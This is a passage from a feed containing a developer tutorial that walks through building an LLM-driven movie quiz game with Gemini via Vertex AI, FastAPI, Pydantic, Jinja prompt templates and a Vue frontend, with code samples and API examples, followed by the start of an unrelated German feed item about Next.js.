purpose.</p><p>Another game-changer lies in the modular prompt generation framework I’ve crafted using Jinja templates. It’s like having a Swiss Army knife for game design — effortlessly swapping show master personalities to tailor the game experience. And with the language module, translating the quiz into multiple languages is a breeze, eliminating the need for costly translation processes.</p><p>Taking that on a business perspective, it can be used to reach a much broader audience of customers, without the need of expensive translation processes.</p><p>From a business standpoint, this modularization opens doors to a wider customer base, transcending language barriers without breaking a sweat. And personally, I’ve experienced firsthand the transformative power of these modules. Switching from the default quiz master to the dad-joke-quiz-master was a riot — a nostalgic nod to the heyday of You Don’t Know Jack, and a testament to the versatility of this project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k96CbwHu2DFPsYr8rvpsxg.png"><figcaption>Movie Detectives — Example: Santa Claus personality (by author)</figcaption></figure><h3>System Architecture</h3><p>Before we jump into details, let’s get an overview of how the application was built.</p><p><strong>Tech Stack: 🚀 Backend</strong></p><ul><li>Python 3.12 + <a href="https://fastapi.tiangolo.com/">FastAPI</a> API development</li><li><a href="https://www.python-httpx.org/">httpx</a> for TMDB integration</li><li><a href="https://jinja.palletsprojects.com/">Jinja</a> templating for modular prompt generation</li><li><a href="https://docs.pydantic.dev/latest/">Pydantic</a> for data modeling and validation</li><li><a href="https://python-poetry.org/">Poetry</a> for dependency management</li><li><a href="https://www.docker.com/">Docker</a> for deployment</li><li><a href="https://www.themoviedb.org/">TMDB API</a> for movie data</li><li><a href="https://cloud.google.com/vertex-ai">VertexAI</a> and <a href="https://cloud.google.com/vertex-ai/docs/generative-ai/model-reference/gemini">Gemini</a> for generating quiz questions and evaluating answers</li><li><a href="https://docs.astral.sh/ruff/">Ruff</a> as linter and code formatter together with <a href="https://pre-commit.com/">pre-commit</a> hooks</li><li>Github Actions to automatically run tests and linter on every push</li></ul><p><strong>Tech Stack: 🖥️ Frontend</strong></p><ul><li><a href="https://vuejs.org/">VueJS</a> 3.4 as the frontend framework</li><li><a href="https://vitejs.dev/">Vite</a> for frontend tooling</li></ul><p>Essentially, the application fetches up-to-date movie metadata from an external API (TMDB), constructs a prompt based on different modules (personality, language, …), enriches this prompt with the metadata and that way, uses Gemini to initiate a movie quiz in which the user has to guess the correct title.</p><p>The backend infrastructure is built with FastAPI and Python, employing the Retrieval-Augmented Generation (RAG) methodology to enrich queries with real-time metadata. Utilizing Jinja templating, the backend modularizes prompt generation into base, personality, and data enhancement templates, enabling the generation of accurate and engaging quiz questions.</p><p>The frontend is powered by Vue 3 and Vite, supported by daisyUI and Tailwind CSS for efficient frontend development. Together, these tools provide users with a sleek and modern interface for seamless interaction with the backend.</p><p>In Movie Detectives, quiz answers are interpreted by the Language Model (LLM) once again, allowing for dynamic scoring and personalized responses. This showcases the potential of integrating LLM with RAG in game design and development, paving the way for truly individualized gaming experiences. Furthermore, it demonstrates the potential for creating engaging quiz trivia or educational games by involving LLM. Adding and changing personalities or languages is as easy as adding more Jinja template modules. With very little effort, this can change the full game experience, reducing the effort for developers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lG3xbgzzNqNsOlCGZhvt7A.png"><figcaption>System Overview (by author)</figcaption></figure><p>As can be seen in the overview, Retrieval-Augmented Generation (RAG) is one of the essential ideas of the backend. Let’s have a closer look at this particular paradigm.</p><h3>Understanding Retrieval-Augmented Generation (RAG)</h3><p>In the realm of Large Language Models (LLM) and AI, one paradigm becoming more and more popular is Retrieval-Augmented Generation (RAG). But what does RAG entail, and how does it influence the landscape of AI development?</p><p>At its essence, RAG enhances LLM systems by incorporating external data to enrich their predictions. Which means, you pass relevant context to the LLM as an additional part of the prompt, but how do you find relevant context? Usually, this data can be automatically retrieved from a database with vector search or dedicated vector databases. Vector databases are especially useful, since they store data in a way, so that it can be queried for similar data quickly. The LLM then generates the output based on both, the query and the retrieved documents.</p><p>Picture this: you have an LLM capable of generating text based on a given prompt. RAG takes this a step further by infusing additional context from external sources, like up-to-date movie data, to enhance the relevance and accuracy of the generated text.</p><p>Let’s break down the key components of RAG:</p><ul><li><strong>LLMs</strong>: LLMs serve as the backbone of RAG workflows. These models, trained on vast amounts of text data, possess the ability to understand and generate human-like text.</li><li><strong>Vector Indexes for contextual enrichment</strong>: A crucial aspect of RAG is the use of vector indexes, which store embeddings of text data in a format understandable by LLMs. These indexes allow for efficient retrieval of relevant information during the generation process. In the context of the project this could be a database of movie metadata.</li><li><strong>Retrieval process</strong>: RAG involves retrieving pertinent documents or information based on the given context or prompt. This retrieved data acts as the additional input for the LLM, supplementing its understanding and enhancing the quality of generated responses. This could be getting all relevant information known and connected to a specific movie.</li><li><strong>Generative Output</strong>: With the combined knowledge from both the LLM and the retrieved context, the system generates text that is not only coherent but also contextually relevant, thanks to the augmented data.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7D_nLRW2jBuYLplTLMvPA.png"><figcaption>RAG architecture (by author)</figcaption></figure><p>While in the Gemini Movie Detectives project, the prompt is enhanced with external API data from The Movie Database, RAG typically involves the use of vector indexes to streamline this process. It is using much more complex documents as well as a much higher amount of data for enhancement. Thus, these indexes act like signposts, guiding the system to relevant external sources quickly.</p><p>In this project, it is therefore a mini version of RAG but showing the basic idea at least, demonstrating the power of external data to augment LLM capabilities.</p><p>In more general terms, RAG is a very important concept, especially when crafting trivia quizzes or educational games using LLMs like Gemini. This concept can avoid the risk of false positives, asking wrong questions, or misinterpreting answers from the users.</p><p>Here are some open-source projects that might be helpful when approaching RAG in one of your projects:</p><ul><li><a href="https://github.com/neuml/txtai"><strong>txtai</strong></a>: All-in-one open-source embeddings database for semantic search, LLM orchestration and language model workflows.</li><li><a href="https://python.langchain.com/"><strong>LangChain</strong></a>: LangChain is a framework for developing applications powered by large language models (LLMs).</li><li><a href="https://github.com/qdrant/qdrant"><strong>Qdrant</strong></a>: Vector Search Engine for the next generation of AI applications.</li><li><a href="https://github.com/weaviate/weaviate"><strong>Weaviate</strong></a>: Weaviate is a cloud-native, open source vector database that is robust, fast, and scalable.</li></ul><p>Of course, with the potential value of this approach for LLM-based applications, there are many more open- and close-source alternatives, but with these, you should be able to get your research on the topic started.</p><h3>Python projects with Poetry</h3><p>Now that the main concepts are clear, let’s have a closer look how the project was created and how dependencies are managed in general.</p><p>The three main tasks Poetry can help you with are: Build, Publish and Track. The idea is to have a deterministic way to manage dependencies, to share your project and to track dependency states.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*87AtYUgSxkZZ4pDO"><figcaption>Photo by <a href="https://unsplash.com/@kat_von_wood?utm_source=medium&amp;utm_medium=referral">Kat von Wood</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Poetry also handles the creation of virtual environments for you. Per default, those are in a centralized folder within your system. However, if you prefer to have the virtual environment of project in the project folder, like I do, it is a simple config change:</p><pre>poetry config virtualenvs.in-project true</pre><p>With poetry new you can then create a new Python project. It will create a virtual environment linking you systems default Python. If you combine this with <a href="https://github.com/pyenv/pyenv">pyenv</a>, you get a flexible way to create projects using specific versions. Alternatively, you can also tell Poetry directly which Python version to use: poetry env use /full/path/to/python.</p><p>Once you have a new project, you can use poetry add to add dependencies to it.</p><p>With this, I created the project for Gemini Movie Detectives:</p><pre>poetry config virtualenvs.in-project true<br>poetry new gemini-movie-detectives-api<br><br>cd gemini-movie-detectives-api<br><br>poetry add 'uvicorn[standard]'<br>poetry add fastapi<br>poetry add pydantic-settings<br>poetry add httpx<br>poetry add 'google-cloud-aiplatform&gt;=1.38'<br>poetry add jinja2</pre><p>The metadata about your projects, including the dependencies with the respective versions, are stored in the poetry.toml and poetry.lock files. I added more dependencies later, which resulted in the following poetry.toml for the project:</p><pre>[tool.poetry]<br>name = "gemini-movie-detectives-api"<br>version = "0.1.0"<br>description = "Use Gemini Pro LLM via VertexAI to create an engaging quiz game incorporating TMDB API data"<br>authors = ["Volker Janz &lt;volker@janz.sh&gt;"]<br>readme = "README.md"<br><br>[tool.poetry.dependencies]<br>python = "^3.12"<br>fastapi = "^0.110.1"<br>uvicorn = {extras = ["standard"], version = "^0.29.0"}<br>python-dotenv = "^1.0.1"<br>httpx = "^0.27.0"<br>pydantic-settings = "^2.2.1"<br>google-cloud-aiplatform = "&gt;=1.38"<br>jinja2 = "^3.1.3"<br>ruff = "^0.3.5"<br>pre-commit = "^3.7.0"<br><br><br>[build-system]<br>requires = ["poetry-core"]<br>build-backend = "poetry.core.masonry.api"</pre><h3>Create the API with FastAPI</h3><p>FastAPI is a Python framework that allows for rapid API development. Built on open standards, it offers a seamless experience without new syntax to learn. With automatic documentation generation, robust validation, and integrated security, FastAPI streamlines development while ensuring great performance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zou7YLbuGrikYviH"><figcaption>Photo by <a href="https://unsplash.com/@flo_stk?utm_source=medium&amp;utm_medium=referral">Florian Steciuk</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Implementing the API for the Gemini Movie Detectives projects, I simply started from a Hello World application and extended it from there. Here is how to get started:</p><pre>from fastapi import FastAPI<br><br>app = FastAPI()<br><br><br>@app.get("/")<br>def read_root():<br>    return {"Hello": "World"}</pre><p>Assuming you also keep the virtual environment within the project folder as .venv/ and use uvicorn, this is how to start the API with the reload feature enabled, in order to test code changes without the need of a restart:</p><pre>source .venv/bin/activate<br>uvicorn gemini_movie_detectives_api.main:app --reload<br>curl -s localhost:8000 | jq .</pre><p>If you have not yet installed <a href="https://jqlang.github.io/jq/">jq</a>, I highly recommend doing it now. I might cover this wonderful JSON Swiss Army knife in a future article. This is how the response looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ELE6hciX2bkYS0NIna1tgA.png"><figcaption>Hello FastAPI (by author)</figcaption></figure><p>From here, you can develop your API endpoints as needed. This is how the API endpoint implementation to start a movie quiz in Gemini Movie Detectives looks like for example:</p><pre>@app.post('/quiz')<br>@rate_limit<br>@retry(max_retries=settings.quiz_max_retries)<br>def start_quiz(quiz_config: QuizConfig = QuizConfig()):<br>    movie = tmdb_client.get_random_movie(<br>        page_min=_get_page_min(quiz_config.popularity),<br>        page_max=_get_page_max(quiz_config.popularity),<br>        vote_avg_min=quiz_config.vote_avg_min,<br>        vote_count_min=quiz_config.vote_count_min<br>    )<br><br>    if not movie:<br>        logger.info('could not find movie with quiz config: %s', quiz_config.dict())<br>        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail='No movie found with given criteria')<br><br>    try:<br>        genres = [genre['name'] for genre in movie['genres']]<br><br>        prompt = prompt_generator.generate_question_prompt(<br>            movie_title=movie['title'],<br>            language=get_language_by_name(quiz_config.language),<br>            personality=get_personality_by_name(quiz_config.personality),<br>            tagline=movie['tagline'],<br>            overview=movie['overview'],<br>            genres=', '.join(genres),<br>            budget=movie['budget'],<br>            revenue=movie['revenue'],<br>            average_rating=movie['vote_average'],<br>            rating_count=movie['vote_count'],<br>            release_date=movie['release_date'],<br>            runtime=movie['runtime']<br>        )<br><br>        chat = gemini_client.start_chat()<br><br>        logger.debug('starting quiz with generated prompt: %s', prompt)<br>        gemini_reply = gemini_client.get_chat_response(chat, prompt)<br>        gemini_question = gemini_client.parse_gemini_question(gemini_reply)<br><br>        quiz_id = str(uuid.uuid4())<br>        session_cache[quiz_id] = SessionData(<br>            quiz_id=quiz_id,<br>            chat=chat,<br>            question=gemini_question,<br>            movie=movie,<br>            started_at=datetime.now()<br>        )<br><br>        return StartQuizResponse(quiz_id=quiz_id, question=gemini_question, movie=movie)<br>    except GoogleAPIError as e:<br>        raise HTTPException(status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, detail=f'Google API error: {e}')<br>    except Exception as e:<br>        raise HTTPException(status_code=status.HTTP_500_INTERNAL_SERVER_ERROR, detail=f'Internal server error: {e}')</pre><p>Within this code, you can see already three of the main components of the backend:</p><ul><li>tmdb_client: A client I implemented using httpx to fetch data from The Movie Database (TMDB).</li><li>prompt_generator: A class that helps to generate modular prompts based on Jinja templates.</li><li>gemini_client: A client to interact with the Gemini LLM via VertexAI in Google Cloud.</li></ul><p>We will look at these components in detail later, but first some more helpful insights regarding the usage of FastAPI.</p><p>FastAPI makes it really easy to define the HTTP method and data to be transferred to the backend. For this particular function, I expect a POST request as this creates a new quiz. This can be done with the post decorator:</p><pre>@app.post('/quiz')</pre><p>Also, I am expecting some data within the request sent as JSON in the body. In this case, I am expecting an instance of QuizConfig as JSON. I simply defined QuizConfig as a subclass of BaseModel from Pydantic (<em>will be covered later</em>) and with that, I can pass it in the API function and FastAPI will do the rest:</p><pre>class QuizConfig(BaseModel):<br>    vote_avg_min: float = Field(5.0, ge=0.0, le=9.0)<br>    vote_count_min: float = Field(1000.0, ge=0.0)<br>    popularity: int = Field(1, ge=1, le=3)<br>    personality: str = Personality.DEFAULT.name<br>    language: str = Language.DEFAULT.name<br># ...<br>def start_quiz(quiz_config: QuizConfig = QuizConfig()):</pre><p>Furthermore, you might notice two custom decorators:</p><pre>@rate_limit<br>@retry(max_retries=settings.quiz_max_retries)</pre><p>These I implemented to reduce duplicate code. They wrap the API function to retry the function in case of errors and to introduce a global rate limit of how many movie quizzes can be started per day.</p><p>What I also liked personally is the error handling with FastAPI. You can simply raise a HTTPException, give it the desired status code and the user will then receive a proper response, for example, if no movie could be found with a given configuration:</p><pre>raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail='No movie found with given criteria')</pre><p>With this, you should have an overview of creating an API like the one for Gemini Movie Detectives with FastAPI. Keep in mind: all code is open-source, so feel free to have a look at the <a href="https://github.com/vojay-dev/gemini-movie-detectives-api">API repository on Github</a>.</p><h3>Data validation and quality with Pydantic</h3><p>One of the main challenges with todays AI/ML projects is data quality. But that does not only apply to ETL/ELT pipelines, which prepare datasets to be used in model training or prediction, but also to the AI/ML application itself. Using Python for example usually enables Data Engineers and Scientist to get a reasonable result with little code but being (mostly) dynamically typed, Python lacks of data validation when used in a naive way.</p><p>That is why in this project, I combined FastAPI with Pydantic, a powerful data validation library for Python. The goal was to make the API lightweight but strict and strong, when it comes to data quality and validation. Instead of plain dictionaries for example, the Movie Detectives API strictly uses custom classes inherited from the BaseModel provided by Pydantic. This is the configuration for a quiz for example:</p><pre>class QuizConfig(BaseModel):<br>    vote_avg_min: float = Field(5.0, ge=0.0, le=9.0)<br>    vote_count_min: float = Field(1000.0, ge=0.0)<br>    popularity: int = Field(1, ge=1, le=3)<br>    personality: str = Personality.DEFAULT.name<br>    language: str = Language.DEFAULT.name</pre><p>This example illustrates, how not only correct type is ensured, but also further validation is applied to the actual values.</p><p>Furthermore, up-to-date Python features, like StrEnum are used to distinguish certain types, like personalities:</p><pre>class Personality(StrEnum):<br>    DEFAULT = 'default.jinja'<br>    CHRISTMAS = 'christmas.jinja'<br>    SCIENTIST = 'scientist.jinja'<br>    DAD = 'dad.jinja'</pre><p>Also, duplicate code is avoided by defining custom decorators. For example, the following decorator limits the number of quiz sessions today, to have control over GCP costs:</p><pre>call_count = 0<br>last_reset_time = datetime.now()<br><br><br>def rate_limit(func: callable) -&gt; callable:<br>    @wraps(func)<br>    def wrapper(*args, **kwargs) -&gt; callable:<br>        global call_count<br>        global last_reset_time<br><br>        # reset call count if the day has changed<br>        if datetime.now().date() &gt; last_reset_time.date():<br>            call_count = 0<br>            last_reset_time = datetime.now()<br><br>        if call_count &gt;= settings.quiz_rate_limit:<br>            raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail='Daily limit reached')<br><br>        call_count += 1<br>        return func(*args, **kwargs)<br><br>    return wrapper</pre><p>It is then simply applied to the related API function:</p><pre>@app.post('/quiz')<br>@rate_limit<br>@retry(max_retries=settings.quiz_max_retries)<br>def start_quiz(quiz_config: QuizConfig = QuizConfig()):</pre><p>The combination of up-to-date Python features and libraries, such as FastAPI, Pydantic or Ruff makes the backend less verbose but still very stable and ensures a certain data quality, to ensure the LLM output has the expected quality.</p><h3>TMDB client with httpx</h3><p>The TMDB Client class is using <a href="https://www.python-httpx.org/">httpx</a> to perform requests against the TMDB API.</p><p>httpx is a rising star in the world of Python libraries. While requests has long been the go-to choice for making HTTP requests, httpx offers a valid alternative. One of its key strengths is asynchronous functionality. httpx allows you to write code that can handle multiple requests concurrently, potentially leading to significant performance improvements in applications that deal with a high volume of HTTP interactions. Additionally, httpx aims for broad compatibility with requests, making it easier for developers to pick it up.</p><p>In case of Gemini Movie Detectives, there are two main requests:</p><ul><li>get_movies: Get a list of random movies based on specific settings, like average number of votes</li><li>get_movie_details: Get details for a specific movie to be used in a quiz</li></ul><p>In order to reduce the amount of external requests, the latter one uses the lru_cache decorator, which stands for “Least Recently Used cache”. It’s used to cache the results of function calls so that if the same inputs occur again, the function doesn’t have to recompute the result. Instead, it returns the cached result, which can significantly improve the performance of the program, especially for functions with expensive computations. In our case, we cache the details for 1024 movies, so if 2 players get the same movie, we do not need to make a request again:</p><pre>@lru_cache(maxsize=1024)<br>def get_movie_details(self, movie_id: int):<br>    response = httpx.get(f'https://api.themoviedb.org/3/movie/{movie_id}', headers={<br>        'Authorization': f'Bearer {self.tmdb_api_key}'<br>    }, params={<br>        'language': 'en-US'<br>    })<br><br>    movie = response.json()<br>    movie['poster_url'] = self.get_poster_url(movie['poster_path'])<br><br>    return movie</pre><p>Accessing data from The Movie Database (TMDB) is for free for non-commercial usage, you can simply <a href="https://developer.themoviedb.org/docs/getting-started">generate an API key</a> and start making requests.</p><h3>Gemini LLM client with VertexAI</h3><p>Before Gemini via VertexAI can be used, you need a Google Cloud project with VertexAI enabled and a Service Account with sufficient access together with its JSON key file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LVpF-bZO7VStBgxzwTup3Q.png"><figcaption>Create GCP project (by author)</figcaption></figure><p>After creating a new project, navigate to <em>APIs &amp; Services</em> –&gt; <em>Enable APIs and service</em> –&gt; search for <em>VertexAI API</em> –&gt; <em>Enable</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Me1EO1WRFHbLlUUxkdMrww.png"><figcaption>Enable VertexAI (by author)</figcaption></figure><p>To create a Service Account, navigate to <em>IAM &amp; Admin</em> –&gt; <em>Service Accounts</em> –&gt; <em>Create service account</em>. Choose a proper name and go to the next step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UWoMPNmw4FqHOPtUG-z27w.png"><figcaption>Create Service Account (by author)</figcaption></figure><p>Now ensure to assign the account the pre-defined role <em>Vertex AI User</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zqGJagkCYDVoWBmyU0iIKA.png"><figcaption>Assign correct role (by author)</figcaption></figure><p>Finally you can generate and download the JSON key file by clicking on the new user –&gt; <em>Keys</em> –&gt; <em>Add Key</em> –&gt; <em>Create new key</em> –&gt; <em>JSON</em>. With this file, you are good to go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pcKYrVuPw_tclhG_l9AVsg.png"><figcaption>Create JSON key file (by author)</figcaption></figure><p>Using Gemini from Google with Python via VertexAI starts by adding the necessary dependency to the project:</p><pre>poetry add 'google-cloud-aiplatform&gt;=1.38'</pre><p>With that, you can import and initialize vertexai with your JSON key file. Also you can load a model, like the newly released Gemini 1.5 Pro model, and start a chat session like this:</p><pre>import vertexai<br>from google.oauth2.service_account import Credentials<br>from vertexai.generative_models import GenerativeModel<br><br>project_id = "my-project-id"<br>location = "us-central1"<br><br>credentials = Credentials.from_service_account_file("credentials.json")<br>model = "gemini-1.0-pro"<br><br>vertexai.init(project=project_id, location=location, credentials=credentials)<br>model = GenerativeModel(model)<br><br>chat_session = model.start_chat()</pre><p>You can now use chat.send_message() to send a prompt to the model. However, since you get the response in chunks of data, I recommend using a little helper function, so that you simply get the full response as one String:</p><pre>def get_chat_response(chat: ChatSession, prompt: str) -&gt; str:<br>    text_response = []<br>    responses = chat.send_message(prompt, stream=True)<br>    for chunk in responses:<br>        text_response.append(chunk.text)<br>    return ''.join(text_response)</pre><p>A full example can then look like this:</p><pre>import vertexai<br>from google.oauth2.service_account import Credentials<br>from vertexai.generative_models import GenerativeModel, ChatSession<br><br>project_id = "my-project-id"<br>location = "us-central1"<br><br>credentials = Credentials.from_service_account_file("credentials.json")<br>model = "gemini-1.0-pro"<br><br>vertexai.init(project=project_id, location=location, credentials=credentials)<br>model = GenerativeModel(model)<br><br>chat_session = model.start_chat()<br><br><br>def get_chat_response(chat: ChatSession, prompt: str) -&gt; str:<br>    text_response = []<br>    responses = chat.send_message(prompt, stream=True)<br>    for chunk in responses:<br>        text_response.append(chunk.text)<br>    return ''.join(text_response)<br><br><br>response = get_chat_response(<br>    chat_session,<br>    "How to say 'you are awesome' in Spanish?"<br>)<br>print(response)</pre><p>Running this, Gemini gave me the following response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wTDo85WW1eBLQKkWzWgY1Q.png"><figcaption>You are awesome (by author)</figcaption></figure><p>I agree with Gemini:</p><blockquote><strong><em>Eres increíble</em></strong></blockquote><p>Another hint when using this: you can also configure the model generation by passing a configuration to the generation_config parameter as part of the send_message function. For example:</p><pre>generation_config = {<br>    'temperature': 0.5<br>}<br><br>responses = chat.send_message(<br>    prompt,<br>    generation_config=generation_config,<br>    stream=True<br>)</pre><p>I am using this in Gemini Movie Detectives to set the temperature to 0.5, which gave me best results. In this context temperature means: how creative are the generated responses by Gemini. The value must be between 0.0 and 1.0, whereas closer to 1.0 means more creativity.</p><p>One of the main challenges apart from sending a prompt and receive the reply from Gemini is to parse the reply in order to extract the relevant information.</p><p>One learning from the project is:</p><blockquote><strong><em>Specify a format for Gemini, which does not rely on exact words but uses key symbols to separate information elements</em></strong></blockquote><p>For example, the question prompt for Gemini contains this instruction:</p><pre>Your reply must only consist of three lines! You must only reply strictly using the following template for the three lines:<br>Question: &lt;Your question&gt;<br>Hint 1: &lt;The first hint to help the participants&gt;<br>Hint 2: &lt;The second hint to get the title more easily&gt;</pre><p>The naive approach would be, to parse the answer by looking for a line that starts with Question:. However, if we use another language, like German, the reply would look like: Antwort:.</p><p>Instead, focus on the structure and key symbols. Read the reply like this:</p><ul><li>It has 3 lines</li><li>The first line is the question</li><li>Second line the first hint</li><li>Third line the second hint</li><li>Key and value are separated by :</li></ul><p>With this approach, the reply can be parsed language agnostic, and this is my implementation in the actual client:</p><pre>@staticmethod<br>def parse_gemini_question(gemini_reply: str) -&gt; GeminiQuestion:<br>    result = re.findall(r'[^:]+: ([^\n]+)', gemini_reply, re.MULTILINE)<br>    if len(result) != 3:<br>        msg = f'Gemini replied with an unexpected format. Gemini reply: {gemini_reply}'<br>        logger.warning(msg)<br>        raise ValueError(msg)<br><br>    question = result[0]<br>    hint1 = result[1]<br>    hint2 = result[2]<br><br>    return GeminiQuestion(question=question, hint1=hint1, hint2=hint2)</pre><p>In the future, the parsing of responses will become even easier. During the Google Cloud Next ’24 conference, Google announced that Gemini 1.5 Pro is now publicly available and with that, they also announced some features including a JSON mode to have responses in JSON format. Checkout <a href="https://developers.googleblog.com/2024/04/gemini-15-pro-in-public-preview-with-new-features.html">this article</a> for more details.</p><p>Apart from that, I wrapped the Gemini client into a configurable class. You can find the <a href="https://github.com/vojay-dev/gemini-movie-detectives-api/blob/main/gemini_movie_detectives_api/gemini.py">full implementation open-source on Github</a>.</p><h3>Modular prompt generator with Jinja</h3><p>The Prompt Generator is a class wich combines and renders Jinja2 template files to create a modular prompt.</p><p>There are two base templates: one for generating the question and one for evaluating the answer. Apart from that, there is a metadata template to enrich the prompt with up-to-date movie data. Furthermore, there are language and personality templates, organized in separate folders with a template file for each option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7NfGQYBVdEJaj2GR18heYg.png"><figcaption>Prompt Generator (by author)</figcaption></figure><p>Using Jinja2 allows to have advanced features like template inheritance, which is used for the metadata.</p><p>This makes it easy to extend this component, not only with more options for personalities and languages, but also to extract it into its own open-source project to make it available for other Gemini projects.</p><h3>Frontend</h3><p>The Gemini Movie Detectives frontend is split into four main components and uses vue-router to navigate between them.</p><p>The Home component simply displays the welcome message.</p><p>The Quiz component displays the quiz itself and talks to the API via fetch. To create a quiz, it sends a POST request to api/quiz with the desired settings. The backend is then selecting a random movie based on the user settings, creates the prompt with the modular prompt generator, uses Gemini to generate the question and hints and finally returns everything back to the component so that the quiz can be rendered.</p><p>Additionally, each quiz gets a session ID assigned in the backend and is stored in a limited LRU cache.</p><p>For debugging purposes, this component fetches data from the api/sessions endpoint. This returns all <strong>active</strong> sessions from the cache.</p><p>This component displays statistics about the service. However, so far there is only one category of data displayed, which is the quiz limit. To limit the costs for VertexAI and GCP usage in general, there is a daily limit of quiz sessions, which will reset with the first quiz of the next day. Data is retrieved form the api/limit endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YNJVUPq0NXGh_CjPU1JIgA.png"><figcaption>Vue components (by author)</figcaption></figure><h3>API examples</h3><p>Of course using the frontend is a nice way to interact with the application, but it is also possible to just use the API.</p><p>The following example shows how to start a quiz via the API using the Santa Claus / Christmas personality:</p><pre>curl -s -X POST https://movie-detectives.com/api/quiz \<br>  -H 'Content-Type: application/json' \<br>  -d '{"vote_avg_min": 5.0, "vote_count_min": 1000.0, "popularity": 3, "personality": "christmas"}' | jq .</pre><pre>{<br>  "quiz_id": "e1d298c3-fcb0-4ebe-8836-a22a51f87dc6",<br>  "question": {<br>    "question": "Ho ho ho, this movie takes place in a world of dreams, just like the dreams children have on Christmas Eve after seeing Santa Claus! It's about a team who enters people's dreams to steal their secrets. Can you guess the movie? Merry Christmas!",<br>    "hint1": "The main character is like a skilled elf, sneaking into people's minds instead of houses. ",<br>    "hint2": "I_c_p_i_n "<br>  },<br>  "movie": {...}<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k96CbwHu2DFPsYr8rvpsxg.png"><figcaption>Movie Detectives — Example: Santa Claus personality (by author)</figcaption></figure><p>This example shows how to change the language for a quiz:</p><pre>curl -s -X POST https://movie-detectives.com/api/quiz \<br>  -H 'Content-Type: application/json' \<br>  -d '{"vote_avg_min": 5.0, "vote_count_min": 1000.0, "popularity": 3, "language": "german"}' | jq .</pre><pre>{<br>  "quiz_id": "7f5f8cf5-4ded-42d3-a6f0-976e4f096c0e",<br>  "question": {<br>    "question": "Stellt euch vor, es gäbe riesige Monster, die auf der Erde herumtrampeln, als wäre es ein Spielplatz! Einer ist ein echtes Urviech, eine Art wandelnde Riesenechse mit einem Atem, der so heiß ist, dass er euer Toastbrot in Sekundenschnelle rösten könnte. Der andere ist ein gigantischer Affe, der so stark ist, dass er Bäume ausreißt wie Gänseblümchen. Und jetzt ratet mal, was passiert? Die beiden geraten aneinander, wie zwei Kinder, die sich um das letzte Stück Kuchen streiten! Wer wird wohl gewinnen, die Riesenechse oder der Superaffe? Das ist die Frage, die sich die ganze Welt stellt! ",<br>    "hint1": "Der Film spielt in einer Zeit, in der Monster auf der Erde wandeln.",<br>    "hint2": "G_dz_ll_ vs. K_ng "<br>  },<br>  "movie": {...}<br>}</pre><p>And this is how to answer to a quiz via an API call:</p><pre>curl -s -X POST https://movie-detectives.com/api/quiz/84c19425-c179-4198-9773-a8a1b71c9605/answer \<br>  -H 'Content-Type: application/json' \<br>  -d '{"answer": "Greenland"}' | jq .</pre><pre>{<br>  "quiz_id": "84c19425-c179-4198-9773-a8a1b71c9605",<br>  "question": {...},<br>  "movie": {...},<br>  "user_answer": "Greenland",<br>  "result": {<br>    "points": "3",<br>    "answer": "Congratulations! You got it! Greenland is the movie we were looking for. You're like a human GPS, always finding the right way!"<br>  }<br>}</pre><h3>Conclusion</h3><p>After I finished the basic project, adding more personalities and languages was so easy with the modular prompt approach, that I was impressed by the possibilities this opens up for game design and development. I could change this game from a pure educational game about movies, into a comedy trivia “You Don’t Know Jack”-like game within a minute by adding another personality.</p><p>Also, combining up-to-date Python functionality with validation libraries like Pydantic is very powerful and can be used to ensure good data quality for LLM input.</p><p>And there you have it, folks! You’re now equipped to craft your own LLM-powered web application.</p><p>Feeling inspired but need a starting point? Check out the open-source code for the Gemini Movie Detectives project:</p><ul><li><strong>🚀 Github repository for backend</strong>: <a href="https://github.com/vojay-dev/gemini-movie-detectives-api">https://github.com/vojay-dev/gemini-movie-detectives-api</a></li><li><strong>🖥️ Github repository for frontend</strong>: <a href="https://github.com/vojay-dev/gemini-movie-detectives-ui">https://github.com/vojay-dev/gemini-movie-detectives-ui</a></li></ul><p>The future of AI-powered applications is bright, and you’re holding the paintbrush! Let’s go make something remarkable. And if you need a break, feel free to try <a href="https://movie-detectives.com/">https://movie-detectives.com/</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e15322be4f66" width="1" height="1" alt=""><hr><p><a href="https://towardsdatascience.com/create-an-ai-driven-movie-quiz-with-gemini-llm-python-fastapi-pydantic-rag-and-more-e15322be4f66">Create an AI-Driven Movie Quiz with Gemini LLM, Python, FastAPI, Pydantic, RAG and more</a> was originally published in <a href="https://towardsdatascience.com/">Towards Data Science</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript-Framework Next.js 14.2 erhebt Turbopack zum Release Candidate]]></title>
<description><![CDATA[Das Framework Next.js 14.2 bringt den Release Candidate für Turbopack mit. Der schnellere webpack-Ersatz besteht nun nahezu alle Integrationstests.]]></description>
<link>https://tsecurity.de/de/2090321/it-nachrichten/javascript-framework-nextjs-142-erhebt-turbopack-zum-release-candidate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2090321/it-nachrichten/javascript-framework-nextjs-142-erhebt-turbopack-zum-release-candidate/</guid>
